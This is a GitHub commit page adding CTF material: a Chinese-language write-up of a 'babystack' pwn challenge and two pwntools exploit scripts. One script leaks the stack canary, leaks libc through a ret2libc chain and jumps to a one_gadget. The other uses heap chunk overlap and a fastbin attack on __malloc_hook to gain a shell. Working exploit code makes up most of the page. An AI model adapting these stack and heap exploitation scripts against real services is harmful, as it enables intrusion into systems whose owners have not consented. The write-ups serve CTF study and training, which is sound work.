Skip to content

Commit 7419e78

Browse files
committed
add writeup
1 parent 9f5728f commit 7419e78

File tree

14 files changed

+566
-0
lines changed

14 files changed

+566
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
#pwn400
2+
##分析
3+
![](https://i.imgur.com/A96PIT2.png)
4+
这道题主要的障碍就是开启了栈保护,不能随意进行栈溢出,所以我们首先需要绕过金丝雀的限制。
5+
6+
经过查看,这个程序有两个输入点①输入选项数,②store选项中输入字符串s。
7+
这里利用了输出字符串s的过程,将canary泄露出来
8+
####条件基础:
9+
①canary为防止泄露,第一位已知为'\x00'
10+
②puts()函数输出时,遇到'\x00'才停止,即使字符串中存在'\n',也会继续输出
11+
③read函数在读取长度限制内,能够把'\n'也读进字符串中
12+
13+
##解题思路
14+
主函数的栈结构如图所示
15+
![](https://i.imgur.com/x1TVvBT.png)
16+
所以可以通过将s填充满,使puts(s)时将canary泄露出来。
17+
另外一个问题是,虽然程序本身没有开启随机地址,但是其链接库开启了PIE保护,所以我们需要两次溢出:先获得函数地址在libc库中的偏移,进而得到需要函数在内存中的真实地址,然后在溢出执行system函数获取shell。
18+
19+
##Exp
20+
#!/usr/bin/env python
21+
# -*- coding: utf-8 -*-
22+
__Auther__ = 'M4x'
23+
24+
from pwn import *
25+
import sys
26+
from time import sleep
27+
context.log_level = "debug"
28+
# context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
29+
30+
def debug():
31+
addr = int(raw_input("DEBUG: "), 16)
32+
gdb.attach(io, "b *" + str(addr))
33+
34+
if sys.argv[1] == "l":
35+
io = process("./babystack")
36+
elf = ELF("./babystack")
37+
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
38+
exe_addr = 0x3f2d6
39+
else:
40+
io = remote("1c6a6fb.isec.anscen.cn", 1234)
41+
elf = ELF("./babystack")
42+
libc = ELF("./libc-2.23.so")
43+
exe_addr = 0x45216
44+
45+
def getCanary():
46+
io.sendlineafter(">> ", "1")
47+
payload = cyclic(0x88)
48+
# debug()
49+
io.sendline(payload)
50+
io.sendlineafter(">> ", "2")
51+
sleep(1)
52+
io.recvuntil("\n")
53+
sleep(1)
54+
canary = u64("\x00" + io.recv(7))
55+
# print hex(canary)
56+
log.debug("leaked canary -> 0x%x" % canary)
57+
return canary
58+
59+
def getBase(canary):
60+
read_got = elf.got["read"]
61+
read_plt = elf.plt["read"]
62+
puts_plt = elf.plt["puts"]
63+
# start_plt = elf.symbols["start"]
64+
# start_plt = 0x400720
65+
start_plt = 0x400908
66+
pop_rdi_ret = 0x0000000000400a93
67+
pop_rsi_r15_ret = 0x0000000000400a91
68+
io.sendlineafter(">> ", "1")
69+
# log.info("------------------")
70+
payload = cyclic(0x88) + p64(canary) * 2 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(start_plt)
71+
# print len(payload)
72+
io.sendline(payload)
73+
io.sendlineafter(">> ", "3")
74+
# debug()
75+
# log.info("------------------")
76+
sleep(1)
77+
read_leaked = u64(io.recv(6).ljust(8, '\x00'))
78+
log.debug("read_leaked -> 0x%x" % read_leaked)
79+
read_libc = libc.symbols["read"]
80+
libc_base = read_leaked - read_libc
81+
log.debug("leaked libcBase -> 0x%x" % libc_base)
82+
return libc_base
83+
84+
def getShell(canary, libcBase):
85+
io.sendlineafter(">> ", "1")
86+
exeAddr = libcBase + exe_addr
87+
payload = cyclic(0x88) + p64(canary) * 2 + p64(exeAddr)
88+
io.sendline(payload)
89+
# debug()
90+
io.sendlineafter(">> ", "3")
91+
92+
io.interactive()
93+
io.close()
94+
95+
if __name__ == "__main__":
96+
canary = getCanary()
97+
libcBase = getBase(canary)
98+
canary = getCanary()
99+
getShell(canary, libcBase)
100+
101+
脚本相比之前写过的略长,简单解释一下
102+
脚本分为获取canary;获得链接库地址偏移;获取shell三个部分,结构比较清晰。
103+
先发送0x88长度的字符串+'\n',read函数会读进0x89个字节,并将canary第一个字节覆盖,之后puts便能将canary泄露出来。
104+
泄露链接库地址基址时,只需将canary的位置使用上一步中泄露出来的canary进行覆盖,获取链接库地址偏移和寄存器利用,详见<a href = "http://www.cnblogs.com/ZHijack/p/7900736.html" target = blank>ret2libc尝试</a>和<a href = "http://www.cnblogs.com/ZHijack/p/7940686.html" target = blank>64位简单栈溢出</a>。最后返回start函数,重新执行。
105+
重新执行函数后,需重新泄露canary,然后进行溢出,即可获得shell。
106+
此处的exeaddr不同于以往ROPgadget找到"/bin/sh"和system函数的地址,是用onegadget直接找到execve("/bin/sh", rsp+0x30, environ)的地址,所以只需跳转到此地址即可获得shell。
107+
108+
![](https://i.imgur.com/2Gj0xZ9.png)
109+
110+
但one_gadget不能保证需要限制寄存器的值,不能保证每次都有效,本题使用one_gadget而不是比较保险的system("/bin/sh")是因为输入长度有限,只能构造很短的ropchain.
111+
112+
除此之外,如果one_gadget失效,还可以试一下另一种方法[stack pivot](https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others.html#stack-privot)
113+

2017/厦门邀请赛/Pwn/pwn1/exp.py

+80
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
__Auther__ = 'M4x'
4+
5+
from pwn import *
6+
import sys
7+
from time import sleep
8+
context.log_level = "debug"
9+
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
10+
11+
def debug():
12+
addr = int(raw_input("DEBUG: "), 16)
13+
gdb.attach(io, "b *" + str(addr))
14+
15+
if sys.argv[1] == "l":
16+
io = process("./babystack")
17+
elf = ELF("./babystack")
18+
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
19+
sh_addr = 0x3f2d6
20+
else:
21+
io = remote("1c6a6fb.isec.anscen.cn", 1234)
22+
elf = ELF("./babystack")
23+
libc = ELF("./libc-2.23.so")
24+
sh_addr = 0x45216
25+
26+
def getCanary():
27+
io.sendlineafter(">> ", "1")
28+
payload = cyclic(0x88)
29+
# debug()
30+
io.sendline(payload)
31+
io.sendlineafter(">> ", "2")
32+
sleep(1)
33+
io.recvuntil("\n")
34+
sleep(1)
35+
canary = u64("\x00" + io.recv(7))
36+
# print hex(canary)
37+
log.debug("leaked canary -> 0x%x" % canary)
38+
return canary
39+
40+
def getBase(canary):
41+
read_got = elf.got["read"]
42+
read_plt = elf.plt["read"]
43+
puts_plt = elf.plt["puts"]
44+
# start_plt = elf.symbols["start"]
45+
# start_plt = 0x400720
46+
start_plt = 0x400908
47+
pop_rdi_ret = 0x0000000000400a93
48+
pop_rsi_r15_ret = 0x0000000000400a91
49+
io.sendlineafter(">> ", "1")
50+
# log.info("------------------")
51+
payload = cyclic(0x88) + p64(canary) * 2 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(start_plt)
52+
# print len(payload)
53+
io.sendline(payload)
54+
io.sendlineafter(">> ", "3")
55+
# debug()
56+
# log.info("------------------")
57+
sleep(1)
58+
read_leaked = u64(io.recv(6).ljust(8, '\x00'))
59+
log.debug("read_leaked -> 0x%x" % read_leaked)
60+
read_libc = libc.symbols["read"]
61+
libc_base = read_leaked - read_libc
62+
log.debug("leaked libcBase -> 0x%x" % libc_base)
63+
return libc_base
64+
65+
def getShell(canary, libcBase):
66+
io.sendlineafter(">> ", "1")
67+
shAddr = libcBase + sh_addr
68+
payload = cyclic(0x88) + p64(canary) * 2 + p64(shAddr)
69+
io.sendline(payload)
70+
# debug()
71+
io.sendlineafter(">> ", "3")
72+
73+
io.interactive()
74+
io.close()
75+
76+
if __name__ == "__main__":
77+
canary = getCanary()
78+
libcBase = getBase(canary)
79+
canary = getCanary()
80+
getShell(canary, libcBase)

2017/厦门邀请赛/Pwn/pwn2/exp.py

+139
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,139 @@
1+
#!/usr/bin/env python
2+
# -*- coding: utf-8 -*-
3+
__Auther__ = 'M4x'
4+
5+
from pwn import *
6+
from time import sleep
7+
import os
8+
import sys
9+
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
10+
11+
elf = ELF("./babyheap")
12+
if sys.argv[1] == "l":
13+
context.log_level = "debug"
14+
# env = {'LD_PRELOAD': ''}
15+
# io = process("", env = env)
16+
io = process("./babyheap")
17+
libc = elf.libc
18+
main_arena = 0x399b00
19+
one_gadget = 0x3f2d6
20+
one_gadget = 0x3f32a
21+
22+
else:
23+
io = remote("localhost", 9999)
24+
libc = ELF("./libc-2.23.so")
25+
main_arena = 0x3c4b20
26+
one_gadget = 0x4526a
27+
28+
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))
29+
30+
def DEBUG(bps = [], pie = False):
31+
if pie:
32+
base = int(os.popen("pmap {}| awk '{{print $1}}'".format(pidof(io)[0])).readlines()[1], 16)
33+
cmd = ''.join(['b *{:#x}\n'.format(b + base) for b in bps])
34+
else:
35+
cmd = ''.join(['b *{:#x}\n'.format(b) for b in bps])
36+
37+
if bps != []:
38+
cmd += "c"
39+
40+
raw_input("DEBUG: ")
41+
gdb.attach(io, cmd)
42+
43+
def New(cont):
44+
io.sendlineafter(">> ", "1")
45+
io.sendline(str(len(cont)))
46+
io.send(cont)
47+
48+
def Edit(idx, cont):
49+
io.sendlineafter(">> ", "2")
50+
io.sendline(str(idx))
51+
io.sendline(str(len(cont)))
52+
io.send(cont)
53+
54+
def Print(idx):
55+
io.sendlineafter(">> ", "3")
56+
io.sendline(str(idx))
57+
58+
def Delete(idx):
59+
io.sendlineafter(">> ", "4")
60+
io.sendline(str(idx))
61+
62+
if __name__ == "__main__":
63+
New('0' * 0x10)
64+
New('1' * 0x10)
65+
New('2' * 0x100)
66+
New('3' * 0x10)
67+
Edit(0, '0' * 0x10 + p64(0) + p64(0x21 + 0x110))
68+
'''
69+
+--------+---------+ +--------+--------+
70+
|prev0 |size0 | |prev0 |size0 |
71+
+--------+---------+ +--------+--------+
72+
|0000000000000000 | |0000000000000000 |
73+
+--------+---------+ +--------+--------+
74+
|prev1 |size1 | |prev1 |size1+size2|
75+
+--------+---------+ +--------+--------+
76+
|1111111111111111 | |1111111111111111 |
77+
+--------+---------+ +--------+--------+
78+
|prev2 |size2 | |prev2 |size2 |
79+
+--------+---------+ +--------+--------+
80+
|2222222222222222 | |2222222222222222 |
81+
| | |2222222222222222 |
82+
| | | |
83+
| | | |
84+
| | | |
85+
| | | |
86+
| | | |
87+
| | | |
88+
| | | |
89+
| | | |
90+
| | | |
91+
| | | |
92+
| | | |
93+
| | | |
94+
| | | |
95+
| | | |
96+
| | | |
97+
| | | |
98+
| | | |
99+
+--------+---------+ +--------+--------+
100+
|prev3 |size3 | |prev3 |size3 |
101+
+--------+---------+ +--------+--------+
102+
|3333333333333333 | |333333333333333 |
103+
+------------------+ +-----------------+
104+
'''
105+
Delete(1)
106+
# pause()
107+
New('1' * 0x10 + p64(0) + p64(0x111) + '2' * 0x100) # must '2' * 0x100?
108+
# pause()
109+
Delete(2)
110+
# DEBUG([0xE63], True)
111+
Print(1)
112+
113+
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00')) - 88 - main_arena
114+
success("libc.address", libc.address)
115+
pause()
116+
117+
New('a' * 0x60)
118+
New('b' * 0x60)
119+
New('c' * 0x60)
120+
# DEBUG([0xCFF, 0xEF2], True)
121+
Delete(5)
122+
123+
# DEBUG([0xDE5], True)
124+
Edit(3, 'd' * 0x10 + p64(0) + p64(0x71) + p64(libc.sym['__malloc_hook'] - 0x28 + 5))
125+
# DEBUG([0xCFF], True)
126+
New('e' * 0x60)
127+
# DEBUG([0xC73], True)
128+
# DEBUG([0xCFF], True)
129+
# New('00000000111111112222222233333333444444445555555566666666'.ljust(0x60, '0'))
130+
payload = p8(0) * 19 + p64(libc.address + one_gadget)
131+
New(payload.ljust(0x60, '0'))
132+
133+
134+
# DEBUG([0xC73], True)
135+
New('getshell')
136+
137+
io.interactive()
138+
io.close()
139+

2017/厦门邀请赛/Pwn/pwn2/struct

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
struct HEAP
2+
{
3+
int inuse;
4+
int size;
5+
char *cont;
6+
}
7+
8+
struct HEAP blocks[64];

0 commit comments

Comments
 (0)